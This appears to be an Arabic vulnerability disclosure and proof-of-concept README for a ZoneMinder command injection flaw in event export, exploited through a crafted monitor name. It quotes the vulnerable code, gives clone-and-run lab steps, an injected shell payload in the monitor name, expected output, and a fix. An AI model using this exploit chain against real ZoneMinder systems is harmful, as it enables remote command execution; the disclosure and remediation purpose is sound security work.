
إثبات مفهوم لاستغلال CVE-2026-76060، وهو حقن أوامر نظام التشغيل في تصدير الأحداث في ZoneMinder، مما يوضح تنفيذ الأوامر عن بُعد (RCE) عبر أسماء مراقبة مُصمّمة بعناية.
إثبات مفهوم لثغرة حقن أوامر في نظام التشغيل في وظيفة تصدير الأحداث في ZoneMinder (web/includes/download_functions.php).
يتم إدراج أسماء المراقبين مباشرة في أوامر الصدفة باستخدام تغليف علامات الاقتباس المفردة اليدوي بدلاً من escapeshellarg(). يمكن للمهاجم الذي يمكنه إنشاء مراقب حقن أوامر صدفة عشوائية يتم تنفيذها كمستخدم www-data/أي مستخدم تعمل به العملية عندما يقوم أي مستخدم بتشغيل تصدير حدث.
44c5c3c بتاريخ 4 أكتوبر 2023، هذا هو المكان الذي تم فيه تقديم ملف download_functions.php. رسالة الالتزام هي "تقديم وضع تنزيل جديد يدمج فيديوهات الأحداث في ملف واحد لكل مراقب." الكود الضعيف موجود هنا، لكنه تطلب من المسؤول إنشاء المراقب أولاً.2d49e93 بتاريخ 2 يناير 2024 "تقديم إذن إنشاء للمراقبين، بحيث يمكن لمستخدم معين تعديل المراقبين الموجودين، ولكن لا يمكنه إنشاء مراقبين جدد." هذا هو المكان الذي تتغير فيه الأمور قليلاً. الآن يمكن للمستخدم الذي لديه فقط Monitors=Create إعداد اسم المراقب للهجوم، ويمكن لأي مستخدم لديه أذونات التصدير تشغيله.الإصدارات المتأثرة: >= 1.37.48 (يحتوي هذا على تغييرات ترحيل SQL) و <= 1.38.1 فرع 1.36.x غير متأثر.
مستخدمان. مستويان من الامتيازات. صدفة واحدة.
Monitors=Create أو Monitors=Edit إذا كان هناك مراقب موجود بالفعل.لا يحتاج سجل الحدث إلى الإنشاء يدويًا. ZoneMinder هو نظام كاميرات... يقوم بإنشاء سجلات الأحداث تلقائيًا أثناء تشغيل الكاميرات. في النشر المباشر، خطوة الإعداد هي: إنشاء المراقب، ثم الابتعاد.
يصل اسم المراقب غير المنقى إلى استدعاءين منفصلين exec():
السطر 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
السطر 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
كلاهما قابل للوصول من نفس اسم المراقب المصمم بعناية بغض النظر عن تنسيق التصدير.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# انتظر حتى ينتهي ZoneMinder من التهيئة (~30 ثانية)
uv run poc.py
init.sql يقوم بتهيئة قاعدة البيانات مع تمكين المصادقة ومستخدمين:
medpriv مع حقوق إنشاء المراقبين (ولأغراض الوقت، حقوق إنشاء الأحداث أيضًا، لكن هذا ليس ضروريًا في الإنتاج)lowpriv مع وصول تصدير الأحداث فقطuv run poc.py يشغل السلسلة الكاملة:
medpriv يصادق عبر API وينشئ مراقبًا باسم poc'; touch /tmp/pwned; echo 'medpriv ينشئ سجل حدث لتسريع العرض التوضيحي (في الإنتاج، يقوم ZoneMinder بذلك تلقائيًا)lowpriv يصادق ويشغل تصدير حدث/tmp/pwned داخل الحاوية ويطبع النتيجةالمخرجات المتوقعة:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nفي كلتا الحالتين، على الأقل escapeshellarg() لا يكلف شيئًا.
b3a7c05[!NOTE] تم الإصلاح خلال 12 ساعة من التقرير. لا اعتراف من المشرف بأن هذه مشكلة أمنية. أنا لا أوافق تم التحديث 8/27/26 - اعترف المشرف بالتقرير وتم إصدار CVE.
قم بتطبيق escapeshellarg() عند نقطتي الحقن على الأقل:
// السطر 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// السطر 150
$command .= ' '.escapeshellarg($mergedFileName);
السطران 116 و 211 في generateFileList() لهما نفس النمط.
اكتشفه (@investigato)
الشرح الكامل: scriptkittens.com